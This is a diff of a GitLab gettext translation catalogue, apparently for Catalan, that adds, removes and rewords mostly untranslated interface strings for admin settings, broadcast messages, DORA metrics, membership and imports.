+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr "Aplicació"
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr "Incidències tancades"
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Format: %{dateFormat}"
-msgstr ""
-
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr "Claus GPG"
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
